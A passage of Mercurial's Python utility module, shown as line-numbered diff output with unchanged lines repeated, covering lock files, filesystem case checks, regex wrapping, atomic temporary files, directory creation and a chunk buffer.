1719 return _("filename ends with '%s', which is not allowed "
1720 "on Windows") % t
1720 "on Windows") % t
1721
1721
1722 if pycompat.iswindows:
1722 if pycompat.iswindows:
1723 checkosfilename = checkwinfilename
1723 checkosfilename = checkwinfilename
1724 timer = time.clock
1724 timer = time.clock
1725 else:
1725 else:
1726 checkosfilename = platform.checkosfilename
1726 checkosfilename = platform.checkosfilename
1727 timer = time.time
1727 timer = time.time
1728
1728
1729 if safehasattr(time, "perf_counter"):
1729 if safehasattr(time, "perf_counter"):
1730 timer = time.perf_counter
1730 timer = time.perf_counter
1731
1731
1732 def makelock(info, pathname):
1732 def makelock(info, pathname):
1733 """Create a lock file atomically if possible
1733 """Create a lock file atomically if possible
1734
1734
1735 This may leave a stale lock file if symlink isn't supported and signal
1735 This may leave a stale lock file if symlink isn't supported and signal
1736 interrupt is enabled.
1736 interrupt is enabled.
1737 """
1737 """
1738 try:
1738 try:
1739 return os.symlink(info, pathname)
1739 return os.symlink(info, pathname)
1740 except OSError as why:
1740 except OSError as why:
1741 if why.errno == errno.EEXIST:
1741 if why.errno == errno.EEXIST:
1742 raise
1742 raise
1743 except AttributeError: # no symlink in os
1743 except AttributeError: # no symlink in os
1744 pass
1744 pass
1745
1745
1746 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1746 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1747 ld = os.open(pathname, flags)
1747 ld = os.open(pathname, flags)
1748 os.write(ld, info)
1748 os.write(ld, info)
1749 os.close(ld)
1749 os.close(ld)
1750
1750
1751 def readlock(pathname):
1751 def readlock(pathname):
1752 try:
1752 try:
1753 return os.readlink(pathname)
1753 return os.readlink(pathname)
1754 except OSError as why:
1754 except OSError as why:
1755 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1755 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1756 raise
1756 raise
1757 except AttributeError: # no symlink in os
1757 except AttributeError: # no symlink in os
1758 pass
1758 pass
1759 fp = posixfile(pathname, 'rb')
1759 fp = posixfile(pathname, 'rb')
1760 r = fp.read()
1760 r = fp.read()
1761 fp.close()
1761 fp.close()
1762 return r
1762 return r
1763
1763
1764 def fstat(fp):
1764 def fstat(fp):
1765 '''stat file object that may not have fileno method.'''
1765 '''stat file object that may not have fileno method.'''
1766 try:
1766 try:
1767 return os.fstat(fp.fileno())
1767 return os.fstat(fp.fileno())
1768 except AttributeError:
1768 except AttributeError:
1769 return os.stat(fp.name)
1769 return os.stat(fp.name)
1770
1770
1771 # File system features
1771 # File system features
1772
1772
1773 def fscasesensitive(path):
1773 def fscasesensitive(path):
1774 """
1774 """
1775 Return true if the given path is on a case-sensitive filesystem
1775 Return true if the given path is on a case-sensitive filesystem
1776
1776
1777 Requires a path (like /foo/.hg) ending with a foldable final
1777 Requires a path (like /foo/.hg) ending with a foldable final
1778 directory component.
1778 directory component.
1779 """
1779 """
1780 s1 = os.lstat(path)
1780 s1 = os.lstat(path)
1781 d, b = os.path.split(path)
1781 d, b = os.path.split(path)
1782 b2 = b.upper()
1782 b2 = b.upper()
1783 if b == b2:
1783 if b == b2:
1784 b2 = b.lower()
1784 b2 = b.lower()
1785 if b == b2:
1785 if b == b2:
1786 return True # no evidence against case sensitivity
1786 return True # no evidence against case sensitivity
1787 p2 = os.path.join(d, b2)
1787 p2 = os.path.join(d, b2)
1788 try:
1788 try:
1789 s2 = os.lstat(p2)
1789 s2 = os.lstat(p2)
1790 if s2 == s1:
1790 if s2 == s1:
1791 return False
1791 return False
1792 return True
1792 return True
1793 except OSError:
1793 except OSError:
1794 return True
1794 return True
1795
1795
1796 try:
1796 try:
1797 import re2
1797 import re2
1798 _re2 = None
1798 _re2 = None
1799 except ImportError:
1799 except ImportError:
1800 _re2 = False
1800 _re2 = False
1801
1801
1802 class _re(object):
1802 class _re(object):
1803 def _checkre2(self):
1803 def _checkre2(self):
1804 global _re2
1804 global _re2
1805 try:
1805 try:
1806 # check if match works, see issue3964
1806 # check if match works, see issue3964
1807 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1807 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1808 except ImportError:
1808 except ImportError:
1809 _re2 = False
1809 _re2 = False
1810
1810
1811 def compile(self, pat, flags=0):
1811 def compile(self, pat, flags=0):
1812 '''Compile a regular expression, using re2 if possible
1812 '''Compile a regular expression, using re2 if possible
1813
1813
1814 For best performance, use only re2-compatible regexp features. The
1814 For best performance, use only re2-compatible regexp features. The
1815 only flags from the re module that are re2-compatible are
1815 only flags from the re module that are re2-compatible are
1816 IGNORECASE and MULTILINE.'''
1816 IGNORECASE and MULTILINE.'''
1817 if _re2 is None:
1817 if _re2 is None:
1818 self._checkre2()
1818 self._checkre2()
1819 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1819 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1820 if flags & remod.IGNORECASE:
1820 if flags & remod.IGNORECASE:
1821 pat = '(?i)' + pat
1821 pat = '(?i)' + pat
1822 if flags & remod.MULTILINE:
1822 if flags & remod.MULTILINE:
1823 pat = '(?m)' + pat
1823 pat = '(?m)' + pat
1824 try:
1824 try:
1825 return re2.compile(pat)
1825 return re2.compile(pat)
1826 except re2.error:
1826 except re2.error:
1827 pass
1827 pass
1828 return remod.compile(pat, flags)
1828 return remod.compile(pat, flags)
1829
1829
1830 @propertycache
1830 @propertycache
1831 def escape(self):
1831 def escape(self):
1832 '''Return the version of escape corresponding to self.compile.
1832 '''Return the version of escape corresponding to self.compile.
1833
1833
1834 This is imperfect because whether re2 or re is used for a particular
1834 This is imperfect because whether re2 or re is used for a particular
1835 function depends on the flags, etc, but it's the best we can do.
1835 function depends on the flags, etc, but it's the best we can do.
1836 '''
1836 '''
1837 global _re2
1837 global _re2
1838 if _re2 is None:
1838 if _re2 is None:
1839 self._checkre2()
1839 self._checkre2()
1840 if _re2:
1840 if _re2:
1841 return re2.escape
1841 return re2.escape
1842 else:
1842 else:
1843 return remod.escape
1843 return remod.escape
1844
1844
1845 re = _re()
1845 re = _re()
1846
1846
1847 _fspathcache = {}
1847 _fspathcache = {}
1848 def fspath(name, root):
1848 def fspath(name, root):
1849 '''Get name in the case stored in the filesystem
1849 '''Get name in the case stored in the filesystem
1850
1850
1851 The name should be relative to root, and be normcase-ed for efficiency.
1851 The name should be relative to root, and be normcase-ed for efficiency.
1852
1852
1853 Note that this function is unnecessary, and should not be
1853 Note that this function is unnecessary, and should not be
1854 called, for case-sensitive filesystems (simply because it's expensive).
1854 called, for case-sensitive filesystems (simply because it's expensive).
1855
1855
1856 The root should be normcase-ed, too.
1856 The root should be normcase-ed, too.
1857 '''
1857 '''
1858 def _makefspathcacheentry(dir):
1858 def _makefspathcacheentry(dir):
1859 return dict((normcase(n), n) for n in os.listdir(dir))
1859 return dict((normcase(n), n) for n in os.listdir(dir))
1860
1860
1861 seps = pycompat.ossep
1861 seps = pycompat.ossep
1862 if pycompat.osaltsep:
1862 if pycompat.osaltsep:
1863 seps = seps + pycompat.osaltsep
1863 seps = seps + pycompat.osaltsep
1864 # Protect backslashes. This gets silly very quickly.
1864 # Protect backslashes. This gets silly very quickly.
1865 seps.replace('\\','\\\\')
1865 seps.replace('\\','\\\\')
1866 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1866 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1867 dir = os.path.normpath(root)
1867 dir = os.path.normpath(root)
1868 result = []
1868 result = []
1869 for part, sep in pattern.findall(name):
1869 for part, sep in pattern.findall(name):
1870 if sep:
1870 if sep:
1871 result.append(sep)
1871 result.append(sep)
1872 continue
1872 continue
1873
1873
1874 if dir not in _fspathcache:
1874 if dir not in _fspathcache:
1875 _fspathcache[dir] = _makefspathcacheentry(dir)
1875 _fspathcache[dir] = _makefspathcacheentry(dir)
1876 contents = _fspathcache[dir]
1876 contents = _fspathcache[dir]
1877
1877
1878 found = contents.get(part)
1878 found = contents.get(part)
1879 if not found:
1879 if not found:
1880 # retry "once per directory" per "dirstate.walk" which
1880 # retry "once per directory" per "dirstate.walk" which
1881 # may take place for each patches of "hg qpush", for example
1881 # may take place for each patches of "hg qpush", for example
1882 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1882 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1883 found = contents.get(part)
1883 found = contents.get(part)
1884
1884
1885 result.append(found or part)
1885 result.append(found or part)
1886 dir = os.path.join(dir, part)
1886 dir = os.path.join(dir, part)
1887
1887
1888 return ''.join(result)
1888 return ''.join(result)
1889
1889
1890 def checknlink(testfile):
1890 def checknlink(testfile):
1891 '''check whether hardlink count reporting works properly'''
1891 '''check whether hardlink count reporting works properly'''
1892
1892
1893 # testfile may be open, so we need a separate file for checking to
1893 # testfile may be open, so we need a separate file for checking to
1894 # work around issue2543 (or testfile may get lost on Samba shares)
1894 # work around issue2543 (or testfile may get lost on Samba shares)
1895 f1, f2, fp = None, None, None
1895 f1, f2, fp = None, None, None
1896 try:
1896 try:
1897 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1897 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1898 suffix='1~', dir=os.path.dirname(testfile))
1898 suffix='1~', dir=os.path.dirname(testfile))
1899 os.close(fd)
1899 os.close(fd)
1900 f2 = '%s2~' % f1[:-2]
1900 f2 = '%s2~' % f1[:-2]
1901
1901
1902 oslink(f1, f2)
1902 oslink(f1, f2)
1903 # nlinks() may behave differently for files on Windows shares if
1903 # nlinks() may behave differently for files on Windows shares if
1904 # the file is open.
1904 # the file is open.
1905 fp = posixfile(f2)
1905 fp = posixfile(f2)
1906 return nlinks(f2) > 1
1906 return nlinks(f2) > 1
1907 except OSError:
1907 except OSError:
1908 return False
1908 return False
1909 finally:
1909 finally:
1910 if fp is not None:
1910 if fp is not None:
1911 fp.close()
1911 fp.close()
1912 for f in (f1, f2):
1912 for f in (f1, f2):
1913 try:
1913 try:
1914 if f is not None:
1914 if f is not None:
1915 os.unlink(f)
1915 os.unlink(f)
1916 except OSError:
1916 except OSError:
1917 pass
1917 pass
1918
1918
1919 def endswithsep(path):
1919 def endswithsep(path):
1920 '''Check path ends with os.sep or os.altsep.'''
1920 '''Check path ends with os.sep or os.altsep.'''
1921 return (path.endswith(pycompat.ossep)
1921 return (path.endswith(pycompat.ossep)
1922 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1922 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1923
1923
1924 def splitpath(path):
1924 def splitpath(path):
1925 '''Split path by os.sep.
1925 '''Split path by os.sep.
1926 Note that this function does not use os.altsep because this is
1926 Note that this function does not use os.altsep because this is
1927 an alternative of simple "xxx.split(os.sep)".
1927 an alternative of simple "xxx.split(os.sep)".
1928 It is recommended to use os.path.normpath() before using this
1928 It is recommended to use os.path.normpath() before using this
1929 function if need.'''
1929 function if need.'''
1930 return path.split(pycompat.ossep)
1930 return path.split(pycompat.ossep)
1931
1931
1932 def mktempcopy(name, emptyok=False, createmode=None):
1932 def mktempcopy(name, emptyok=False, createmode=None):
1933 """Create a temporary file with the same contents from name
1933 """Create a temporary file with the same contents from name
1934
1934
1935 The permission bits are copied from the original file.
1935 The permission bits are copied from the original file.
1936
1936
1937 If the temporary file is going to be truncated immediately, you
1937 If the temporary file is going to be truncated immediately, you
1938 can use emptyok=True as an optimization.
1938 can use emptyok=True as an optimization.
1939
1939
1940 Returns the name of the temporary file.
1940 Returns the name of the temporary file.
1941 """
1941 """
1942 d, fn = os.path.split(name)
1942 d, fn = os.path.split(name)
1943 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1943 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1944 os.close(fd)
1944 os.close(fd)
1945 # Temporary files are created with mode 0600, which is usually not
1945 # Temporary files are created with mode 0600, which is usually not
1946 # what we want. If the original file already exists, just copy
1946 # what we want. If the original file already exists, just copy
1947 # its mode. Otherwise, manually obey umask.
1947 # its mode. Otherwise, manually obey umask.
1948 copymode(name, temp, createmode)
1948 copymode(name, temp, createmode)
1949 if emptyok:
1949 if emptyok:
1950 return temp
1950 return temp
1951 try:
1951 try:
1952 try:
1952 try:
1953 ifp = posixfile(name, "rb")
1953 ifp = posixfile(name, "rb")
1954 except IOError as inst:
1954 except IOError as inst:
1955 if inst.errno == errno.ENOENT:
1955 if inst.errno == errno.ENOENT:
1956 return temp
1956 return temp
1957 if not getattr(inst, 'filename', None):
1957 if not getattr(inst, 'filename', None):
1958 inst.filename = name
1958 inst.filename = name
1959 raise
1959 raise
1960 ofp = posixfile(temp, "wb")
1960 ofp = posixfile(temp, "wb")
1961 for chunk in filechunkiter(ifp):
1961 for chunk in filechunkiter(ifp):
1962 ofp.write(chunk)
1962 ofp.write(chunk)
1963 ifp.close()
1963 ifp.close()
1964 ofp.close()
1964 ofp.close()
1965 except: # re-raises
1965 except: # re-raises
1966 try:
1966 try:
1967 os.unlink(temp)
1967 os.unlink(temp)
1968 except OSError:
1968 except OSError:
1969 pass
1969 pass
1970 raise
1970 raise
1971 return temp
1971 return temp
1972
1972
1973 class filestat(object):
1973 class filestat(object):
1974 """help to exactly detect change of a file
1974 """help to exactly detect change of a file
1975
1975
1976 'stat' attribute is result of 'os.stat()' if specified 'path'
1976 'stat' attribute is result of 'os.stat()' if specified 'path'
1977 exists. Otherwise, it is None. This can avoid preparative
1977 exists. Otherwise, it is None. This can avoid preparative
1978 'exists()' examination on client side of this class.
1978 'exists()' examination on client side of this class.
1979 """
1979 """
1980 def __init__(self, stat):
1980 def __init__(self, stat):
1981 self.stat = stat
1981 self.stat = stat
1982
1982
1983 @classmethod
1983 @classmethod
1984 def frompath(cls, path):
1984 def frompath(cls, path):
1985 try:
1985 try:
1986 stat = os.stat(path)
1986 stat = os.stat(path)
1987 except OSError as err:
1987 except OSError as err:
1988 if err.errno != errno.ENOENT:
1988 if err.errno != errno.ENOENT:
1989 raise
1989 raise
1990 stat = None
1990 stat = None
1991 return cls(stat)
1991 return cls(stat)
1992
1992
1993 @classmethod
1993 @classmethod
1994 def fromfp(cls, fp):
1994 def fromfp(cls, fp):
1995 stat = os.fstat(fp.fileno())
1995 stat = os.fstat(fp.fileno())
1996 return cls(stat)
1996 return cls(stat)
1997
1997
1998 __hash__ = object.__hash__
1998 __hash__ = object.__hash__
1999
1999
2000 def __eq__(self, old):
2000 def __eq__(self, old):
2001 try:
2001 try:
2002 # if ambiguity between stat of new and old file is
2002 # if ambiguity between stat of new and old file is
2003 # avoided, comparison of size, ctime and mtime is enough
2003 # avoided, comparison of size, ctime and mtime is enough
2004 # to exactly detect change of a file regardless of platform
2004 # to exactly detect change of a file regardless of platform
2005 return (self.stat.st_size == old.stat.st_size and
2005 return (self.stat.st_size == old.stat.st_size and
2006 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2006 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2007 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2007 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2008 except AttributeError:
2008 except AttributeError:
2009 pass
2009 pass
2010 try:
2010 try:
2011 return self.stat is None and old.stat is None
2011 return self.stat is None and old.stat is None
2012 except AttributeError:
2012 except AttributeError:
2013 return False
2013 return False
2014
2014
2015 def isambig(self, old):
2015 def isambig(self, old):
2016 """Examine whether new (= self) stat is ambiguous against old one
2016 """Examine whether new (= self) stat is ambiguous against old one
2017
2017
2018 "S[N]" below means stat of a file at N-th change:
2018 "S[N]" below means stat of a file at N-th change:
2019
2019
2020 - S[n-1].ctime < S[n].ctime: can detect change of a file
2020 - S[n-1].ctime < S[n].ctime: can detect change of a file
2021 - S[n-1].ctime == S[n].ctime
2021 - S[n-1].ctime == S[n].ctime
2022 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2022 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2023 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2023 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2024 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2024 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2025 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2025 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2026
2026
2027 Case (*2) above means that a file was changed twice or more at
2027 Case (*2) above means that a file was changed twice or more at
2028 same time in sec (= S[n-1].ctime), and comparison of timestamp
2028 same time in sec (= S[n-1].ctime), and comparison of timestamp
2029 is ambiguous.
2029 is ambiguous.
2030
2030
2031 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2031 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2032 timestamp is ambiguous".
2032 timestamp is ambiguous".
2033
2033
2034 But advancing mtime only in case (*2) doesn't work as
2034 But advancing mtime only in case (*2) doesn't work as
2035 expected, because naturally advanced S[n].mtime in case (*1)
2035 expected, because naturally advanced S[n].mtime in case (*1)
2036 might be equal to manually advanced S[n-1 or earlier].mtime.
2036 might be equal to manually advanced S[n-1 or earlier].mtime.
2037
2037
2038 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2038 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2039 treated as ambiguous regardless of mtime, to avoid overlooking
2039 treated as ambiguous regardless of mtime, to avoid overlooking
2040 by confliction between such mtime.
2040 by confliction between such mtime.
2041
2041
2042 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2042 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2043 S[n].mtime", even if size of a file isn't changed.
2043 S[n].mtime", even if size of a file isn't changed.
2044 """
2044 """
2045 try:
2045 try:
2046 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2046 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2047 except AttributeError:
2047 except AttributeError:
2048 return False
2048 return False
2049
2049
2050 def avoidambig(self, path, old):
2050 def avoidambig(self, path, old):
2051 """Change file stat of specified path to avoid ambiguity
2051 """Change file stat of specified path to avoid ambiguity
2052
2052
2053 'old' should be previous filestat of 'path'.
2053 'old' should be previous filestat of 'path'.
2054
2054
2055 This skips avoiding ambiguity, if a process doesn't have
2055 This skips avoiding ambiguity, if a process doesn't have
2056 appropriate privileges for 'path'. This returns False in this
2056 appropriate privileges for 'path'. This returns False in this
2057 case.
2057 case.
2058
2058
2059 Otherwise, this returns True, as "ambiguity is avoided".
2059 Otherwise, this returns True, as "ambiguity is avoided".
2060 """
2060 """
2061 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2061 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2062 try:
2062 try:
2063 os.utime(path, (advanced, advanced))
2063 os.utime(path, (advanced, advanced))
2064 except OSError as inst:
2064 except OSError as inst:
2065 if inst.errno == errno.EPERM:
2065 if inst.errno == errno.EPERM:
2066 # utime() on the file created by another user causes EPERM,
2066 # utime() on the file created by another user causes EPERM,
2067 # if a process doesn't have appropriate privileges
2067 # if a process doesn't have appropriate privileges
2068 return False
2068 return False
2069 raise
2069 raise
2070 return True
2070 return True
2071
2071
2072 def __ne__(self, other):
2072 def __ne__(self, other):
2073 return not self == other
2073 return not self == other
2074
2074
2075 class atomictempfile(object):
2075 class atomictempfile(object):
2076 '''writable file object that atomically updates a file
2076 '''writable file object that atomically updates a file
2077
2077
2078 All writes will go to a temporary copy of the original file. Call
2078 All writes will go to a temporary copy of the original file. Call
2079 close() when you are done writing, and atomictempfile will rename
2079 close() when you are done writing, and atomictempfile will rename
2080 the temporary copy to the original name, making the changes
2080 the temporary copy to the original name, making the changes
2081 visible. If the object is destroyed without being closed, all your
2081 visible. If the object is destroyed without being closed, all your
2082 writes are discarded.
2082 writes are discarded.
2083
2083
2084 checkambig argument of constructor is used with filestat, and is
2084 checkambig argument of constructor is used with filestat, and is
2085 useful only if target file is guarded by any lock (e.g. repo.lock
2085 useful only if target file is guarded by any lock (e.g. repo.lock
2086 or repo.wlock).
2086 or repo.wlock).
2087 '''
2087 '''
2088 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2088 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2089 self.__name = name # permanent name
2089 self.__name = name # permanent name
2090 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2090 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2091 createmode=createmode)
2091 createmode=createmode)
2092 self._fp = posixfile(self._tempname, mode)
2092 self._fp = posixfile(self._tempname, mode)
2093 self._checkambig = checkambig
2093 self._checkambig = checkambig
2094
2094
2095 # delegated methods
2095 # delegated methods
2096 self.read = self._fp.read
2096 self.read = self._fp.read
2097 self.write = self._fp.write
2097 self.write = self._fp.write
2098 self.seek = self._fp.seek
2098 self.seek = self._fp.seek
2099 self.tell = self._fp.tell
2099 self.tell = self._fp.tell
2100 self.fileno = self._fp.fileno
2100 self.fileno = self._fp.fileno
2101
2101
2102 def close(self):
2102 def close(self):
2103 if not self._fp.closed:
2103 if not self._fp.closed:
2104 self._fp.close()
2104 self._fp.close()
2105 filename = localpath(self.__name)
2105 filename = localpath(self.__name)
2106 oldstat = self._checkambig and filestat.frompath(filename)
2106 oldstat = self._checkambig and filestat.frompath(filename)
2107 if oldstat and oldstat.stat:
2107 if oldstat and oldstat.stat:
2108 rename(self._tempname, filename)
2108 rename(self._tempname, filename)
2109 newstat = filestat.frompath(filename)
2109 newstat = filestat.frompath(filename)
2110 if newstat.isambig(oldstat):
2110 if newstat.isambig(oldstat):
2111 # stat of changed file is ambiguous to original one
2111 # stat of changed file is ambiguous to original one
2112 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2112 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2113 os.utime(filename, (advanced, advanced))
2113 os.utime(filename, (advanced, advanced))
2114 else:
2114 else:
2115 rename(self._tempname, filename)
2115 rename(self._tempname, filename)
2116
2116
2117 def discard(self):
2117 def discard(self):
2118 if not self._fp.closed:
2118 if not self._fp.closed:
2119 try:
2119 try:
2120 os.unlink(self._tempname)
2120 os.unlink(self._tempname)
2121 except OSError:
2121 except OSError:
2122 pass
2122 pass
2123 self._fp.close()
2123 self._fp.close()
2124
2124
2125 def __del__(self):
2125 def __del__(self):
2126 if safehasattr(self, '_fp'): # constructor actually did something
2126 if safehasattr(self, '_fp'): # constructor actually did something
2127 self.discard()
2127 self.discard()
2128
2128
2129 def __enter__(self):
2129 def __enter__(self):
2130 return self
2130 return self
2131
2131
2132 def __exit__(self, exctype, excvalue, traceback):
2132 def __exit__(self, exctype, excvalue, traceback):
2133 if exctype is not None:
2133 if exctype is not None:
2134 self.discard()
2134 self.discard()
2135 else:
2135 else:
2136 self.close()
2136 self.close()
2137
2137
2138 def unlinkpath(f, ignoremissing=False):
2138 def unlinkpath(f, ignoremissing=False):
2139 """unlink and remove the directory if it is empty"""
2139 """unlink and remove the directory if it is empty"""
2140 if ignoremissing:
2140 if ignoremissing:
2141 tryunlink(f)
2141 tryunlink(f)
2142 else:
2142 else:
2143 unlink(f)
2143 unlink(f)
2144 # try removing directories that might now be empty
2144 # try removing directories that might now be empty
2145 try:
2145 try:
2146 removedirs(os.path.dirname(f))
2146 removedirs(os.path.dirname(f))
2147 except OSError:
2147 except OSError:
2148 pass
2148 pass
2149
2149
2150 def tryunlink(f):
2150 def tryunlink(f):
2151 """Attempt to remove a file, ignoring ENOENT errors."""
2151 """Attempt to remove a file, ignoring ENOENT errors."""
2152 try:
2152 try:
2153 unlink(f)
2153 unlink(f)
2154 except OSError as e:
2154 except OSError as e:
2155 if e.errno != errno.ENOENT:
2155 if e.errno != errno.ENOENT:
2156 raise
2156 raise
2157
2157
2158 def makedirs(name, mode=None, notindexed=False):
2158 def makedirs(name, mode=None, notindexed=False):
2159 """recursive directory creation with parent mode inheritance
2159 """recursive directory creation with parent mode inheritance
2160
2160
2161 Newly created directories are marked as "not to be indexed by
2161 Newly created directories are marked as "not to be indexed by
2162 the content indexing service", if ``notindexed`` is specified
2162 the content indexing service", if ``notindexed`` is specified
2163 for "write" mode access.
2163 for "write" mode access.
2164 """
2164 """
2165 try:
2165 try:
2166 makedir(name, notindexed)
2166 makedir(name, notindexed)
2167 except OSError as err:
2167 except OSError as err:
2168 if err.errno == errno.EEXIST:
2168 if err.errno == errno.EEXIST:
2169 return
2169 return
2170 if err.errno != errno.ENOENT or not name:
2170 if err.errno != errno.ENOENT or not name:
2171 raise
2171 raise
2172 parent = os.path.dirname(os.path.abspath(name))
2172 parent = os.path.dirname(os.path.abspath(name))
2173 if parent == name:
2173 if parent == name:
2174 raise
2174 raise
2175 makedirs(parent, mode, notindexed)
2175 makedirs(parent, mode, notindexed)
2176 try:
2176 try:
2177 makedir(name, notindexed)
2177 makedir(name, notindexed)
2178 except OSError as err:
2178 except OSError as err:
2179 # Catch EEXIST to handle races
2179 # Catch EEXIST to handle races
2180 if err.errno == errno.EEXIST:
2180 if err.errno == errno.EEXIST:
2181 return
2181 return
2182 raise
2182 raise
2183 if mode is not None:
2183 if mode is not None:
2184 os.chmod(name, mode)
2184 os.chmod(name, mode)
2185
2185
2186 def readfile(path):
2186 def readfile(path):
2187 with open(path, 'rb') as fp:
2187 with open(path, 'rb') as fp:
2188 return fp.read()
2188 return fp.read()
2189
2189
2190 def writefile(path, text):
2190 def writefile(path, text):
2191 with open(path, 'wb') as fp:
2191 with open(path, 'wb') as fp:
2192 fp.write(text)
2192 fp.write(text)
2193
2193
2194 def appendfile(path, text):
2194 def appendfile(path, text):
2195 with open(path, 'ab') as fp:
2195 with open(path, 'ab') as fp:
2196 fp.write(text)
2196 fp.write(text)
2197
2197
2198 class chunkbuffer(object):
2198 class chunkbuffer(object):
2199 """Allow arbitrary sized chunks of data to be efficiently read from an
2199 """Allow arbitrary sized chunks of data to be efficiently read from an
2200 iterator over chunks of arbitrary size."""
2200 iterator over chunks of arbitrary size."""
2201
2201
2202 def __init__(self, in_iter):
2202 def __init__(self, in_iter):
2203 """in_iter is the iterator that's iterating over the input chunks."""
2203 """in_iter is the iterator that's iterating over the input chunks."""
2204 def splitbig(chunks):
2204 def splitbig(chunks):
2205 for chunk in chunks:
2205 for chunk in chunks:
2206 if len(chunk) > 2**20:
2206 if len(chunk) > 2**20:
2207 pos = 0
2207 pos = 0
2208 while pos < len(chunk):
2208 while pos < len(chunk):
2209 end = pos + 2 ** 18
2209 end = pos + 2 ** 18
2210 yield chunk[pos:end]
2210 yield chunk[pos:end]
2211 pos = end
2211 pos = end
2212 else:
2212 else:
2213 yield chunk
2213 yield chunk
2214 self.iter = splitbig(in_iter)
2214 self.iter = splitbig(in_iter)
2215 self._queue = collections.deque()
2215 self._queue = collections.deque()
2216 self._chunkoffset = 0
2216 self._chunkoffset = 0
2217
2217
2218 def read(self, l=None):
2218 def read(self, l=None):
2219 """Read L bytes of data from the iterator of chunks of data.
2219 """Read L bytes of data from the iterator of chunks of data.
2220 Returns less than L bytes if the iterator runs dry.
2220 Returns less than L bytes if the iterator runs dry.
2221
2221
2222 If size parameter is omitted, read everything"""
2222 If size parameter is omitted, read everything"""
2223 if l is None:
2223 if l is None:
2224 return ''.join(self.iter)
2224 return ''.join(self.iter)
2225
2225
2226 left = l
2226 left = l
2227 buf = []
2227 buf = []
2228 queue = self._queue
2228 queue = self._queue
2229 while left > 0:
2229 while left > 0:
2230 # refill the queue
2230 # refill the queue
2231 if not queue:
2231 if not queue:
2232 target = 2**18
2232 target = 2**18
2233 for chunk in self.iter:
2233 for chunk in self.iter:
2234 queue.append(chunk)
2234 queue.append(chunk)
2235 target -= len(chunk)
2235 target -= len(chunk)
2236 if target <= 0:
2236 if target <= 0:
2237 break
2237 break
2238 if not queue:
2238 if not queue:
2239 break
2239 break
2240
2240
2241 # The easy way to do this would be to queue.popleft(), modify the
2241 # The easy way to do this would be to queue.popleft(), modify the
2242 # chunk (if necessary), then queue.appendleft(). However, for cases
2242 # chunk (if necessary), then queue.appendleft(). However, for cases
2243 # where we read partial chunk content, this incurs 2 dequeue
2243 # where we read partial chunk content, this incurs 2 dequeue
2244 # mutations and creates a new str for the remaining chunk in the
2244 # mutations and creates a new str for the remaining chunk in the
2245 # queue. Our code below avoids this overhead.
2245 # queue. Our code below avoids this overhead.
2246
2246
2247 chunk = queue[0]
2247 chunk = queue[0]
2248 chunkl = len(chunk)
2248 chunkl = len(chunk)
2249 offset = self._chunkoffset
2249 offset = self._chunkoffset
2250
2250
2251 # Use full chunk.
2251 # Use full chunk.
2252 if offset == 0 and left >= chunkl:
2252 if offset == 0 and left >= chunkl:
2253 left -= chunkl
2253 left -= chunkl
2254 queue.popleft()
2254 queue.popleft()
2255 buf.append(chunk)
2255 buf.append(chunk)
2256 # self._chunkoffset remains at 0.
2256 # self._chunkoffset remains at 0.
2257 continue
2257 continue
2258
2258
2259 chunkremaining = chunkl - offset
2259 chunkremaining = chunkl - offset
2260
2260
2261 # Use all of unconsumed part of chunk.
2261 # Use all of unconsumed part of chunk.
2262 if left >= chunkremaining:
2262 if left >= chunkremaining:
2263 left -= chunkremaining
2263 left -= chunkremaining
2264 queue.popleft()
2264 queue.popleft()
2265 # offset == 0 is enabled by block above, so this won't merely
2265 # offset == 0 is enabled by block above, so this won't merely
2266 # copy via ``chunk[0:]``.
2266 # copy via ``chunk[0:]``.
2267 buf.append(chunk[offset:])
